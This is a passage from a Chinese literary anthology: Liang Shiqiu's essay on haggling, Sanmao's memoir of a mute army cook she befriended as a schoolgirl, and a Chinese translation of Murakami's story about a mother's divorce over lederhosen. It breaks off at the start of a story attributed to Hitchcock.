　　把一个和横店类似的村庄当成故乡

　　而它们

　　都是我去睡你必不可少的理由

讲价

梁实秋

　　韩康采药名山，卖于长安市，三十余年，口不二价。这并不是说三十余年物价没有波动，这是说他三十余年没有耍过一次谎，就凭这一点怪脾气他的大名便入了后汉书的逸民列传。这并不证明买卖东西无需讲价是我们古已有之的固有道德，这只证明自古以来买卖东西就得要价还价，出了一位韩康，便是人瑞，便可以名垂青史了。韩康不但在历史上留下了佳话，在当时也是颇为著名的。一个女子向他买药，他守价不移，硬是没得少，女子大怒，说：“难道你是韩康，一个钱没得少？”韩康本欲避名，现在小女子都知道他的大名，吓得披发入山。卖东西不讲价，自古以来，是多么难得！我们还不要忘记韩康“家世著姓”，本不是商人，如果是个“逐什一之利”的，有机会能得什二什三时岂不更妙？

　　从前有些店铺讲究货真价实，“言不二价”“童叟无欺”的金字招牌偶然还可以很骄傲的悬挂起来，不必大减价雇吹鼓手，主顾自然上门。这种事似乎渐渐少了。童叟根本也不见得好欺侮，而且买卖大半是流动的，无所谓主顾，不讲价还是不过瘾，不七折八扣显着买卖不和气，交易一成买者就又会觉得上当。在尔虞我诈的情形之下，讲价便成为交易的必经阶段，反正是“漫天要价，就地还钱”。看看谁有本事谁讨便宜。

　　我买东西很少的时候能不比别人的贵。世界上有一种人，喜欢到人家里面调查物价，看看你家里有什么东西都要打听一下是用什么价钱买的，除非你在每一事物上都粘上一个纸笺标明价格，否则将不胜其罗唣。最扫兴的是，我已经把真的价钱瞒起，自欺欺人的只说了一半的价钱来搪塞他，他有时还会把头摇得像个“波浪鼓”似的，表示你上了弥天的大当！我承认，有些人是特别的善于讲价，他有政治家的脸皮，外交家的嘴巴，杀人的胆量，钓鱼的耐心，坚如铁石，韧似牛皮，所以他能压倒那待价而沽的商人。我曾虚心请教，大概归纳起来讲价的艺术不外下列诸端：

　　第一，要不动声色。进得店来，看准了他没有什么你就要什么，使得他显着寒伧，先有几分惭愧。然后无精打采的道出你所真心要买的东西，伙计于气馁之余，自然欢天喜地的捧出他的货色，价钱根本不会太高。如果偶然发现一项心爱的东西，也不可失声大叫，如获异宝，必要行若无事，淡然处之，于打听许多种物价之后，随意问询及之，否则你打草惊蛇，他便奇货可居了。

　　第二，要无情的批评。甘瓜苦蒂，天下物无全美。你把货物捧在手里，不忙鉴赏，先求其疵缪之所在，不厌其详的批评一番，尽量的道出它的缺点。有些物事，本是无懈可击的，但是“嗜好不能争辩”，你这东西是红的，我偏喜欢白的，你这东西是大的，我偏喜欢小的。总之，是要把东西褒贬得一文不值缺点百出，这时候伙计的脸上也许要一块红一块白的不大好看，但是他的心里软了，价钱上自然有了商量的余地，我在委曲迁就的情形之下来买东西，你在价钱上还能不让步么？

　　第三，要狠心还价。先假设，自从韩康入山之后每个商人都是说谎的。不管价钱多高，拦腰一砍。这需要一点胆量，要狠得下心，说得出口，要准备看一副嘴脸。人的脸是最容易变的，用不了加多少钱，那副愁云惨雾的苦脸立刻开霁，露出一缕春风。但这是最紧要的时候，这是耐心的比赛，谁性急谁失败，他一文一文的减，你就一文一文的加。

　　第四，要有反顾的勇气。交易实在不成，只好掉头而去，也许走不了好远，他会请你回来，如果他不请你回来，你自己要有回来的勇气，不能负气，不能讲究“义不反顾，计不旋踵。”讲价到了这个地步，也就山穷水尽了。

　　这一套讲价的秘诀，知易行难，所以我始终未能运用。我怕费功夫，我怕伤和气，如果我粗脖子红脸，我身体受伤，如果他粗脖子红脸，我精神上难过，我聊以解嘲的方法是记起郑板桥爱写的那四个大字：“难得糊涂”。

　　淮南子明明的记载着：“东方有君子之国”，但是我在地图上却找不到。山海经里也记载着：“君子国衣冠带剑，其人好让不争。”但只有镜花缘给君子国透露了一点消息。买物的人说；“老兄如此高货，却讨恁般贱价，教小弟买去，如何能安？务求将价加增，方好遵教。若再过谦，那是有意不肯赏光交易了。”卖物的人说：“既承照顾，敢不仰体？但适才妄讨大价，已觉厚颜，不意老兄反说货高价贱，岂不更教小弟惭愧？况敝货并非‘言无二价’，其中颇有虚头。”照这样讲来，君子国交易并非言无二价，也还是要讲价的，也并非不争，也还有要费口舌唾液的。什么样的国家，才能买东西不讲价呢？我想与其讲价而为对方争利，不如讲价而为自己争利，比较的合于人类本能。

　　有人传授给我在街头雇车的秘诀：街头孤另另的一辆车，车夫红光满面鼓腹而游的样子，切莫睬他，如果三五成群鸠形鹄面，你一声吆喝便会蜂涌而来，竞相延揽，车价会特别低廉。在这里我们发现人性的一面——残忍。

吹兵

三毛

　　那天上学的时候并没有穿红衣服，却被一只疯水牛一路追进学校。跑的开始以为水牛只追一下就算了的，或者会改去追其他的行人，结果他只钉住我锲而不舍的追。哭都来不及哭，只是没命的跑，那四只蹄子奔腾着咄咄的拿角来顶——总是在我裙子后面一点点距离。好不容易逃进了教室，疯牛还在操场上翻蹄子踢土，小学的朝会就此取消了。同学很惊慌，害怕牛会来顶教堂。

　　晨操播音机里没有音乐，只是一再的播着：“各位同学，留在教室里，不可以出来，不可以出来！”

　　我是把那条牛引进学校操场上来的小孩子，双手抓住窗口的木框，还是不停的喘气。同学们拿出了童军棍把教室的门顶住。而老师，老师们躲在大办公室里也是门窗紧闭。

　　就是那一天，该我做值日生。值日生的姓名每天由风纪股长写在黑板上，是两个小孩同时做值日。那个风纪股长忘了是谁，总之是一个老师的马屁鬼，压迫我们的就是她。

　　我偶尔也被选上当康乐股长，可是康乐和风纪比较起来，那份气势就差多了。

　　疯水牛还在操场上找东西去顶，风纪股长却发现当天班上的茶壶还是空的。当时，我们做小学生的时候，没有自备水壶这等事的，教室后面放一个大水壶，共用一个杯子，谁渴了就去倒水喝，十分简单。而水壶，是值日生到学校厨房的大灶上去拿滚水，老校工灌满了水，由各班级小朋友提着走回教室。牛在发疯，风纪股长一定逼我当时就去厨房提水，不然就记名字。另外一个值日小朋友哭了，死不肯出去。她哭是为了被记了名字。我拎了空水壶开门走到外面，看也不看牛，拚着命就往通向厨房的长廊狂奔。

　　等到水壶注满了滚水，没有可能快跑回教室，于是我蹲在走廊的门边，望着远处的牛，想到风纪股长要记名字交给老师算帐，也开始蹲着细细碎碎的哭了。

　　就在这个时候，清晨出操去的驻军们回来了。驻军是国庆日以前才从台湾南部开来台北，暂住在学校一阵的。

　　军人来了，看见一只疯牛在操场上东顶西拱的，根本也不当一回事，数百个人杀声震天的不知用上了什么阵法，将牛一步一步赶到校外的田野里去了。

　　确定牛已经走了，这才提起大茶壶，走三步停两步的往教室的方向去。也是在那么安静的走廊上，身后突然传来咻咻、咻咻喘息的声音，这一慌，腿软了，丢了水壶往地下一蹲，将手抱住头，死啦！牛就在背后。

　　咻咻的声音还在响，我不敢动。

　　觉得被人轻轻碰了一下紧缩的肩，慢慢抬头斜眼看，发觉两只暴突有如牛眼般的大眼睛呆呆的瞪着我，眼前一片草绿色。我站了起来——也是个提水的兵，咧着大嘴对我啊啊的打手势。他的水桶好大，一个扁担挑着，两桶水面浮着碧绿的芭蕉叶。漆黑的一个塌鼻子大兵，面如大饼，身壮如山，胶鞋有若小船。乍一看去透着股蛮牛气，再一看，眼光柔和得明明是个孩童。我用袖子擦一下脸，那个兵，也不放下挑着的水桶，另一只手轻轻一下，就拎起了我那个千难万难的热茶壶，做了一个手势，意思是——带路，就将我这瘦小的人和水都送进了教室。那时，老师尚未来，我蹲在走廊水沟边，捡起一片碎石，在泥巴地上写字，问那人——什么兵？那个哑巴笑成傻子一般，放下水桶，也在地上划——炊兵。炊字他写错了，写成——吹兵。后来，老师出现在远远的长廊，我赶快想跑回教室，哑巴兵要握手，我就同他握手，他将我的手上下用劲的摇到人都跳了起来，说不出有多么欢喜的样子。

　　就因为这样，哑巴做了我的朋友。那时候我小学四年级，功课不忙。回家说起哑巴，母亲斥责我，说不要叫人哑巴哑巴，我笑说他听不见哪，每天早晨见到哑巴，他都丢了水桶手舞足蹈的欢迎我。我们总是蹲在地上写字。第一次就写了个“火”，又写“炊”和“吹”的不同。解释“炊”的时候，我做扇火的样子。这个“吹”就嘟嘟的做号兵状。哑巴真聪明，一教就懂了，一直打自己的头，在地上写“笨”，写成“茶”，我猜是错字，就打了他一下头。那一阵，对一个孩子来说，是光荣的，每天上课之前，先做小老师，总是跟个大汉在地上写字。

　　哑巴不笨，水桶里满满的水总也不泼出来，他打手势告诉我，水面浮两片大叶子，水就不容易泼出来，很有道理。

　　后来，在班上讲故事，讲哑巴是四川人，兵过之前他在乡下种田，娶了媳妇，媳妇正要生产，老娘叫哑巴去省城抓药，走在路上，一把给过兵的捉去掮东西，这一掮，就没脱离过军队，家中媳妇生儿生女都不晓得，就来了台湾。

　　故事是在“康乐时间”说的，同学们听呆了。老师在结束时下了评语，说哑巴的故事是假的，叫同学们不要当真。

　　天晓得那是哑巴和我打手势、画画、写字、猜来猜去、拼了很久才弄清楚的真实故事。讲完那天，哑巴用他的大手揉揉我的头发，将我的衣服扯扯端正，很伤感的望着我。我猜他一定在想，想他未曾谋面的女儿就是眼前我的样子。

　　以后做值日生提水总是哑巴替我提，我每天早晨到校和放学回家，都是跟他打完招呼才散。

　　家中也知道我有了一个大朋友，很感激有人替我提水。母亲老是担心滚烫的水会烫到小孩，她也怕老师，不敢去学校抗议叫小朋友提滚水的事。

　　也不知日子过了多久，哑巴每日都呆呆的等，只要看见我进了校门，他的脸上才哗一下开出好大一朵花来。后来，因为不知如何疼爱才好，连书包也抢过去代背，要一直送到教室口，这才依依不舍的挑着水桶走了。

　　哑巴没有钱，给我礼物，总是芭蕉叶子，很细心的割，一点破缝都不可以有。三五天就给一张绿色的方叶子垫板，我拿来铺在课桌上点缀，而老师，总也有些忧心忡忡的望着我。

　　也有礼物给哑巴，不是美劳课的成绩，就是一颗话梅，再不然放学时一同去坐跷跷板。哑巴重，他都是不敢坐的，耐性用手压着板，我叫他升，他就升，叫他放，他当当心心的放，从来不跌痛我。而我们的游戏，都是安静的，只是夕阳下山后操场上两幅无声无息的剪影而已。

　　有一天，哑巴神秘兮兮的招手唤我，我跑上去，掌心里一打开，里面是一只金戒指，躺在几乎裂成地图一般的粗手掌里。那是生平第一次看见金子，这种东西家中没有见过，母亲的手上也没见过，可是知道那是极贵重的东西。

　　哑巴当日很认真，也不笑，瞪着眼，把那金子递上来，要我伸手，要人拿去。我吓得很厉害，拼命摇头，把双手放在身后，死也不肯动。哑巴没有上来拉，他蹲下来在地上写——

　　不久要分别了，送给你做纪念。

　　我不知如何回答，说了再见，快步跑掉了。跑到一半再回头，看见一个大个子低着头，呆望着自己的掌心。不知在想什么。也是那天回家，母亲说老师来做了家庭访问，比我早一些到了家里去看母亲。家庭访问是大事，一般老师都是预先通知，提早放学，由小朋友陪着老师一家一家去探视的。这一回，老师突袭我们家，十分怪异，不知自己犯了什么错，几乎担了一夜的心。而母亲，没说什么。也因为老师去了家里，这一吓，哑巴要给金子的事情就忘了讲。第二天，才上课呢，老师很慈爱的叫我去她放办公桌的一个角落，低声问我结识那个挑水军人的经过。

　　都答了，一句一句都回答了，可是不知有什么错，反而慌得很。当老师轻轻的问出：“他有没有对你不轨？”那句话时，我根本听不懂什么叫做鬼不鬼的，直觉老师误会了那个哑巴。不轨一定是一种坏事，不然老师为什么用了一个孩子实在不明白的鬼字。很气愤，太气了，就哭了起来。也没等老师叫人回座，气得冲回课桌趴着大哭。那天放学，老师拉着我的手一路送出校门，看我经过等待着的哑巴，都不许停住脚。

　　哑巴和我对望了一眼，我眼睛红红的，不能打手势，就只好走。老师，对哑巴笑着点点头。

　　到了校门口，老师很凶很凶的对我说：“如果明天再跟那个兵去做朋友，老师记你大过，还要打——。”我哭着小跑，她抓我回来，讲：“答应呀！讲呀！”我只有点点头，不敢反抗。第二天，没有再跟哑巴讲话，他快步笑着迎了上来，我掉头就跑进了教室。哑巴站在窗外巴巴的望，我的头低着。

　　是个好粗好大个子的兵，早晚都在挑水，加上两个水桶前后晃，在学校里就更显眼了。男生们见他走过就会唱歌谣似的喊：“一个哑巴提水吃，两个哑巴挑水吃，三个哑巴没水吃……。”跟前跟后的叫了还不够，还有些大胆的冲上去推水桶将水泼出来。过去，每当哑巴兵被男生戏弄的时候，他会停下来，放好水桶，作势要追打小孩，等小孩一哄跑了，第一个笑的就是他。也有一次，我们在地上认字，男生欺负哑巴听不见，背着他抽了挑水的扁担逃到秋千架边用那东西去击打架子。我看了追上去，揪住那个光头男生就打，两个厮打得很剧烈，可是都不出声叫喊。最后将男生死命一推，他的头碰到了秋千，这才哇哇大哭着去告老师了。

　　那是生平第一次在学校打架，男生的老师也没怎么样，倒是哑巴，气得又要骂又心痛般的一直替我掸衣服上的泥巴，然后，他左看我又右看我，大手想上来拥抱这个小娃娃，终是没有做，对我点个头，好似要流泪般的走了。

　　在这种情感之下，老师突然说哑巴对我“不鬼”，我的心里痛也痛死了。是命令，不可以再跟哑巴来往，不许打招呼，不可以再做小老师，不能玩跷跷板，连美劳课做好的一个泥巴砚台也不能送给我的大朋友——。

　　而他，那个身影，总是在墙角哀哀的张望。

　　在小学，怕老师怕得太厉害，老师就是天，谁敢反抗她呢？上学总在路上等同学，进校门一哄而入。放学也是快跑，躲着那双粗牛似的眼睛，看也不敢看的背着书包低头疾走。

　　而我的心，是那么的沉重和悲伤。那种不义的羞耻没法跟老师的权威去对抗，那是一种无关任何生活学业的被迫无情，而我，没有办法。终是在又一次去厨房提水的时候碰到了哑巴。他照样帮我拎水壶，我默默的走在他身边。那时，国庆日也过了，部队立即要开发回南部去，哑巴走到快要到教室的路上，蹲下来也不找小石子，在地上用手指甲一直急着画问号，好大的：“？”画了一连串十几个。他不写字，红着眼睛就是不断画问号。“不是我。”我也不写字，急着打自己的心，双手向外推。

　　哑巴这回不懂，我快速的在地上写：“不是我！不是我！不是我！”他还是不懂，也写了：“不是给金子坏了？”我拚命摇头。

　　又不愿出卖老师，只是叫喊：“不要怪我！不是我不是我不是我……。”用喊的，他只能看见表情，看见一个受了委屈小女孩的悲脸。就那样跑掉了。哑巴的表情，一生不能忘怀。

　　部队走时就和来时一般安静，有大卡车装东西，有队伍排成树林一般沙沙、沙沙的移动。走时，校长向他们鞠躬，军人全体举手敬礼道谢。我们孩子在教室内跟着风琴唱歌，唱“淡淡的三月天，杜鹃花开在山坡上，杜鹃花开在小溪旁……”而我的眼光，一直滑出窗外拚命的找人。口里随便跟着唱，跟看军人那一行行都开拔了，我的朋友仍然没有从那群人里找出来。歌又换了，叫唱：“丢丢铜仔，”这首歌非常有趣而活泼，同学们越唱越高昂，都快跳起来了，就在歌唱到最起劲的时候，风琴的伴奏悠然而止，老师紧张的在问：“你找谁？有什么事？”

　　全班突然安静下来，我才惊觉教室里多了一个大兵。

　　那个我的好朋友，亲爱的哑巴，山一样立在女老师的面前。“出去！你出去！出去出去……”老师歇斯底里的将风琴盖子砰一下合上，怕成大叫出来。

　　我不顾老师的反应，抢先跑到教室外面去，对着教室里喊：“哑巴！哑巴！”一面急着打手势叫他出来。

　　哑巴赶快跑出来了，手上一个纸包；书一般大的纸包，递上来给我。他把我的双手用力握住，呀呀的尽可能发出声音跟我道别。接住纸包也来不及看，哑巴全身装备整齐的立正，认认真真的敬了一个举手礼，我呆在那儿，看着他布满红丝的凸眼睛，不知做任何反应。

　　他走了，快步走了。一个军人，走的时候好像有那么重的悲伤压在肩上，低着头大步大步的走。

　　纸包上有一个地址和姓名，是部队信箱的那种。

　　纸包里，一大口袋在当时的孩子眼中贵重如同金子般的牛肉干。一生没有捧过那么一大包肉干，那是新年才可以分到一两片的东西。老师自然看了那些东西。

　　地址，她没收了，没有给我。牛肉干，没有给吃，说要当心，不能随便吃。校工的土狗走过，老师将袋子半吊在空中，那些肉干便由口袋中飘落下来，那只狗，跳起来接着吃，老师的脸很平静而慈爱的微笑着。许多年过去了，再看《水浒传》，看到翠屏山上杨雄正杀潘巧云，巧云向石秀呼救，石秀答了一句：“嫂嫂！不是我！”

　　那一句“不是我！”勾出了当年那一声又一声一个孩子对着一个哑巴聋兵狂喊的：“不是我！不是我！不是我！”

　　那是今生第一次负人的开始，而这件伤人的事情，积压在内心一生，每每想起，总是难以释然，深责自己当时的懦弱，而且悲不自禁。而人生的不得已，难道只用“不是我”三个字便可以排遣一切负人之事吗？亲爱的哑巴“吹兵”，这一生，我没有忘记过你，你还记得炊和吹的不同。正如我对你一样，是不是？我的本名叫陈平，那件小学制服上老挂着的名字。而今你在哪里？请求给我一封信，好叫我买一大包牛肉干和一个金戒指送给你可不可以？

背带短裤

村上春树

　　几年前一个夏天，我打算写本类似随笔系列的作品。那以前我从未动过写这类文章的念头。假如她不提起那件事——问我这样的事可否成为小说素材——我或许不会写这本书。在这个意义上，是她擦燃了火柴。

　　但，从她擦燃火柴到火烧到我身上，经过了相当长的时间。我身上的导火线中有一种距离十分之长，有时长得甚至超过我本身的行动规范和感情的平均寿命。这样，即使火勉强烧到我身上，也可能早已寻不出任何意味了。不过，这次起火总算控制在所限的时间内，结果我写了这篇文章。

　　向我说起那件事的是妻过去的同学。学生时代她同我妻子并不怎么要好，只是三十岁过后在一个意外场合突然碰在一起，才开始交往密切的。我每每觉得对丈夫来说，再没有比妻的朋友更为奇妙的存在了。尽管如此，第一次见面之后，我就对她有了某种好感。作为女性，她长得相当高大，无论个头还是块头都可同我分庭抗礼。职业是电子琴教师，但工作以外大部分时间都用来游泳、打网球和滑雪，所以肌肉结实，总晒得那么漂亮。她对各种体育运动的热情几乎可以用发疯一词来形容。每个休息日，她跑完步便去附近的温水游泳池游一阵子，下午打两三个钟头网球，甚至还做有氧运动。我也算是相当喜欢运动的，但跟她比起来，无论质还是量都望尘莫及。

　　不过，在这方面发疯决不意味她对各种各样的事物都表现出病态的、狭隘的、以至攻击性的态度。相反，她基本上性格温和，感情上也不强加于人，只不过她的肉体（大概是附于肉体的精神）如彗星般不间断地希求剧烈运动。

　　不知是否由于这个缘故，她至今仍然独身。当然——因为她虽说躯体多少大些，但长相也还算好看——谈过几次恋爱，也给人求过婚，她本身也动过心思。然而一到真要结婚的阶段，其中必定出现意想不到的障碍，致使婚事告吹。

　　“运气不好。”妻说。

　　“是啊。”我也同意。

　　但我又不完全同意妻的意见。诚然，人生的某一部分或许受制于命运，或许命运会如斑斑驳驳的阴影染暗我们的人生地表。可是纵使如此，如果其中仍有意志存在——仍有足以跑二十公里和游三十公里的顽强意志存在的话，我想大多数的风波都可以用临时爬梯来解决。依我的猜想，她所以不结婚，恐怕是由于她并不诚心希望结婚。一句话，结婚那东西没包括在她的能量彗星的范围内，至少未全部包括。

　　这样，她继续当电子琴教师，有时间便致力于体育运动，定期谈多舛的恋爱。

　　大学二年级时父母离异，那以后她一直一个人租房生活。

　　“是母亲把父亲甩了的。”一天她告诉我，“因为短裤的事。”

　　“短裤？”我吃惊地反问。

　　“事情很怪，”她说，“由于太怪太离谱了，几乎没跟人提起。不过你写小说，说不定有点用处。想听？”

　　非常想听，我说。

　　那个下雨的周日午后她来我家时，妻出门买东西去了。她比预定时间早来两个小时。

　　“对不起，”她道歉说，“定好的网球下雨泡汤了，时间就多了出来。一个人在家又无聊，就想早点过来。不妨碍你？”

　　有什么好妨碍的，我说。我也正无心做事，把猫抱在膝头一个人呆呆地看录像机里的电影。我把她让进来，在厨房做了咖啡端上。两人边喝咖啡边看《大白鲨》（注：以食人鲨为主人公的美国电影名。）的最后二十分钟。当然，两人以前就都已看过几遍，看得并不特别认真，不过因暂且需看点什么才看罢了。

　　但电影的“结束”字样打出后妻也没回来，我便和她闲谈了一会。我们谈鲨鱼，谈海，谈游泳。谈完妻仍未返回。前面也说过，我对她的印象绝对不坏，但两个人单独面对面交谈一个小时，我们之间的共同话题显然不够充足。她终究是妻的朋友，不是我的朋友。

　　正当我为此感到困窘并考虑是不是再看一部电影的时候，她突然讲起她父母离婚的事。我不大明白她为何突如其来地（至少我看不出游泳同其父母离婚之间有明显关联）搬出这样的话题，也许个中有什么缘由。

　　“准确称呼不叫短裤，”她接着道，“准确说来叫背带短裤。知道背带短裤吗？”

　　“就是德国人常穿的那种半大短裤吧？上边有背带的。”我说。

　　“对。父亲希望得到这么一件礼物，得到背带短裤。作为那个年代的人，我父亲个子算是相当高大的，体型正好适合穿那种短裤，所以才希望得到。我倒觉得背带短裤不大适合日本人穿，不过人各有好。”

　　为弄清来龙去脉，我问她父亲是在什么情况下托谁作为礼物给买背带短裤的。

　　“抱歉，我说话总是颠三倒四。哪里不明白，只管问好了。”她说。

　　不客气的，我说。

　　“母亲的妹妹那时住在德国，请母亲去玩。母亲德语一窍不通，又没出国旅行过，但因长期当英语老师，她很想去外国看上一次，加上已好久好久没见过我那个姨母了，便向父亲提议请十天假两人一起去德国。可是父亲由于工作关系怎么也请不下来假，结果母亲一人去了德国。”

　　“当时你父亲托你母亲买背带短裤来着？”

　　“嗯，是的。”她说，“母亲问他要什么礼物，他说要背带短裤。”

　　是这样，我说。

　　据她介绍，那时她父母关系比较融洽，至少已不再半夜里高声争吵或父亲几天生气不回家了，而父亲有外遇的时候那种情况是有过几次的。

　　“他那人性格不错，工作也能干，只是男女关系上不很检点。”她语气平淡，像在说别人父母似的，以致一瞬间我还以为她父亲已经去世，其实是还活得挺精神的。

　　“但当时父亲年纪已相当不小了，那类争吵也已停下了，看上去满可以和睦地过下去。”

　　然而实际上事情并不那么一帆风顺。母亲把原定在德国逗留十天的日程几乎没打一声招呼就延长到一个半月，好歹回国也再没回家，一直寄住在大阪另—个妹妹家里。

　　事情何以至此，无论作为女儿的她还是身为丈夫的父亲都无从理解。因为，这以前夫妻间尽管闹过几次别扭，但她母亲表现出很强的忍耐力——有时忍耐得甚至令人怀疑她未免缺乏想象力——基本上以家庭为重，且很溺爱女儿。所以，对于她不回家连个招呼也不打，父女俩全然摸不着头脑，甚至闹不清到底正在发生什么。她和父亲往大阪的母亲妹妹家里打了几次电话，但母亲几乎不接，连探听其真意都不可能。

　　弄清母亲的真意已是她回国两个月后的九月中旬的事了。一天她突然往家打来电话，对丈夫说“这就把离婚手续所需文件寄过去，你签字盖章后再寄回来”。父亲问到底因为什么，母亲当即回答“因为对你已不怀有任何形式的爱情”。父亲问有无双方靠拢的余地，母亲断然地说根本没有余地。

　　此后两三个月时间父母用电话反复问答、交涉、试探。最终母亲寸步不让，父亲最后也只好同意离婚。一来父亲由于过去的诸多事情而心虚理亏，无法采取强硬态度，二来他性格上原本就无论对什么都倾向于适可而止。

　　“我觉得自己像因此受到了很大打击。”她说，“但打击并不单单来自离婚这一行为本身。那以前我就几次猜想两人可能离婚，精神上有所准备，所以如果两人以极为正常的形式离婚，我恐怕不至于怎么困惑，也不会深受创伤。明白？”

　　我点点头。

　　“那之前我始终站在母亲一边，母亲也是信赖我的，我想。不料母亲却连个像样的解释也没有便像同父亲联手似的把我抛弃了。我觉得这点对我的打击异常沉重，那以后很长时间里我都不能原谅母亲。我给母亲写了很多封信，要求她就一大堆事情明确做出解释，可母亲对此什么也不肯说，连想见我都没提过。”

　　她见到母亲已经是三年以后的事了。有个亲戚的葬礼，在那里两人总算见了面。她大学毕业靠教电子琴维持生计，母亲在一所英语补习学校当老师。

　　葬礼结束后母亲向她挑明：“以前之所以什么也没对你说，是因为不知到底怎么说好。连我自己都把握不好事情的进展。不过归根结蒂起因在于那条短裤。”

　　“短裤？”她和我同样愕然反问。她原本想定再不和母亲说话，结果好奇心压过了愠怒。她同母亲仍然一身丧服就一起走进附近一家咖啡馆，边喝冷茶边听母亲讲短裤。

　　卖背带短裤的店位于距汉堡乘电车需一个小时的小镇上，是母亲的妹妹给查到的。

　　“德国人都说买背带短裤那家店最好，做工非常考究，价格也不很高。”妹妹道。

　　母亲一个人乘上电车，为给丈夫买背带短裤来到那座小镇。她在列车单间同一对中年德国夫妇坐在一起，用英语闲聊。她说自己准备去买背带短裤送礼，那对夫妇问打算去哪里的店。她告以店名，两人异口同声说那家店最好，万无一失，这使得她越发下定了决心。

　　那是初夏一个令人心旷神怡的下午。穿过小镇的河流奏出潺潺的水声，岸边的野草随风摇着绿叶。铺着鹅卵石的古老街道画着徐缓的曲线无休止地伸展开去，到处都可见到猫的姿影。她走进第一眼看到的小咖啡馆，午餐吃乳酪饼，喝咖啡。街景优美，一派幽静。

　　喝罢咖啡，正在逗猫玩，咖啡馆主人过来问她往下去什么地方。她说是来买背带短裤的。主人拿来便笺，把那家店的位置画给她。

　　“谢谢。”她说。

　　一个人旅行是何等美妙啊，她走在鹅卵石路上感叹道。想来，这是她五十五年人生中最初的单独旅行。一个人来德国旅游，这期间她一次也没感到寂寞、惶怵和无聊。所有的风景都那么新鲜，所有的人都那么亲切，并且这一个个体验都在唤醒她体内蛰伏而从未启用的种种感情。这以前她生活中一向视为珍宝的许许多多——丈夫、女儿、家庭——现已远在地球的另一侧，她完全没有必要为之操心和烦恼。

　　背带短裤店很快找到了。一家古旧的小店，没有橱窗，没有时髦招牌，但从玻璃窗往里窥看，只见背带短裤齐整整地排列着。她推门进到里边。

　　店内有两位老人在劳作，两人一边小声交谈，一边量面料尺寸或往本子上记什么。用布帘隔开的里间看样子是个满大的作业间，从中传出单调的缝纫机声。

　　“有什么事吗？太太？”高个子老人起身用德语打招呼。

　　“想买条背带短裤。”她用英语回答。

　　“太太穿么？”老人用有点怪味的英语问。

　　“不，不是的，买回去送给在日本的丈夫。”

　　“唔，”老人略一沉吟，“那么说，您先生现在不在这里啰？”

　　“是的，当然是的，在日本嘛。”她回答。

　　“既是这样，这里边就产生一个问题。”老人字斟句酌地说，“就是说，我们不卖东西给不存在的客人。”

　　“丈夫存在。”她说。

　　“那是那是，您先生是存在，当然存在。”老人慌张起来，“英语说不好，别见怪。我要表达的是：您先生如果不在这里，就不能出售您丈夫穿的背带短裤。”

　　“为什么？”她脑袋一阵混乱。

　　“这是店里的方针，方针。我们是请亲自光临的客人穿上与体型相符的背带短裤，略微加以调整，这才能卖出去。一百多年时间里，我们一直这样做生意。我们的信誉便是靠这样的方针建立起来的。”

　　“为了在贵店买短裤，我是特意花半天时间从汉堡赶来的。”

　　“实在抱歉，太太，”老人果真充满歉意似的说，“但是不能破例。在这个多变的世界上，再没有比信誉更难得也更容易崩溃的了。”

　　她叹口气，半天站在门口不动，同时开动脑筋寻找突破口。这时间里，高个子老人用德语向矮个子老人说明情况。矮个子老人边听边频频点头称是。两位老人个头固然相差不小，但脸形可以说长得一模一样。

　　“嗳，这样做好不好呢？”她提议道，“我去找一个和我丈夫体型完全相同的人领来这里，让这个人穿短裤，你们加以调整，卖给我。”

　　高个子老人目瞪口呆地盯视她的脸：

　　“问题是，太太，问题是违反常规。穿短裤的人不是那个人，是您先生，而我们又知道这点。这可不成。”

　　“你们权当不知道就可以了嘛。你们把背带短裤卖给那个人，我从那个人手里买过来。这样你们的方针就不至于沾上污点。是这样的吧？请好好考虑一下。我想以后我不会第二次来德国，所以如果现在失去买背带短裤的机会，我就永远不可能如愿以偿了。”

　　“唔，”老人沉思片刻，再次用德语向矮个子老人说明情况。高个子老人说毕，这回矮个子老人用德语讲了一通。然后，高个子老人朝她这边转过脸，“明白了，太太，”他说，“我们破例——只能是破例——权当我们根本不知道事情的原委。特意从日本来买我们的背带短裤的人毕竟为数不多，况且我们德国人也并非就那么死板。请尽可能找与您先生体型相似的人来。哥哥也是这样说的。”

　　“谢谢，”她说，随后对那位身为兄长的老人用德语说了“非常感谢”。

　　她——向我讲这件事的女儿——讲到这里，手交叉在桌面上吁了口气。我喝掉已凉透的咖啡。雨仍在下个不止，妻还未回来。我全然无法预测事情往下如何展开。

　　“那么，”我想快些听到结局，便插嘴道，“你母亲最后可找到体型酷似你父亲的人了？”

　　“嗯，”她面无表情，“找到了。母亲坐在长椅上打量来往行人，从中挑出一个体型一模一样、人看上去又尽可能好的人来，不容分说——因那个人完全不懂英语——领到店里。”

　　“看来她相当敢做敢为。”我说。

　　“我也闹不明白，她在日本总的说来是个循规蹈矩的老实人。”她叹息说着，“总之那个人听店里的人讲完事情的原委，满口应承下来，说如果合适就当一次模特好了，接着穿上背带短裤，被店里的人到处拉来按去。这时间里，那个人和两位老人用德语开玩笑，相互笑个不停。大约三十分钟鼓捣完毕，这时，母亲已下定决心同父亲离婚了。”

　　“叫人摸不着头脑，”我说，“就是说，那三十分钟里莫非发生了什么？”

　　“不，什么也没发生。仅仅三个德国人谈笑风生罢了。”

　　“那你母亲为什么能在三十分钟时间里下决心离婚呢？”

　　“这点母亲自己也糊里糊涂。母亲因此非常非常困惑。母亲所知道的，只是在盯视穿背带短裤的那个人的时间里，从心眼里冒水泡一般地涌起一股对父亲的忍无可忍的厌恶。对此她束手无策。那个人——给穿背带短裤的那个人——除去肤色白一点，真的同我父亲体型一模一样，腿形也罢腹形也罢头发的稀疏程度也罢。并且那个人穿着新短裤，晃着身子笑得甚是开心。母亲看着看着，觉得自己心中一种以前模模糊糊的情感正逐渐变得明晰、变得稳固起来——母亲这才明白自己是怎样无可遏止地憎恶父亲。”

　　妻买东西回来，开始单独同她聊天，我仍一个人在反复琢磨那条背带短裤。三个人吃了饭，随后又喝了点酒，这时我还在继续琢磨。

　　“那么，你已不再怨恨你母亲喽？”我趁妻离席之机，这样问道。

　　“是啊，已不怨恨了。亲密绝对谈不上，但起码不怨恨了，我想。”她说。

　　“自从听了短裤的事以后？”

　　“嗯，是吧，我想是的。听后我无法继续怨恨母亲了。什么原因我解释不好，肯定是因为我俩同是女人。”

　　我点点头：“假如——假设从刚才的话里把短裤去掉，而仅仅说是一名女性在旅途中获得了自立，你能原谅你母亲抛弃你吗？”

　　“不成！”她当即回答，“事情的关键在于短裤。”

　　“我也那样认为。”我说。

爱情与投资

希区柯克

　　爱德华说，没有一桩投资是不冒风险的。

　　“你是股票经纪人，最有发言权，”乔治说，他是一位医生，很注意投资，“不过，我喜欢投资股票，它比较保险。”

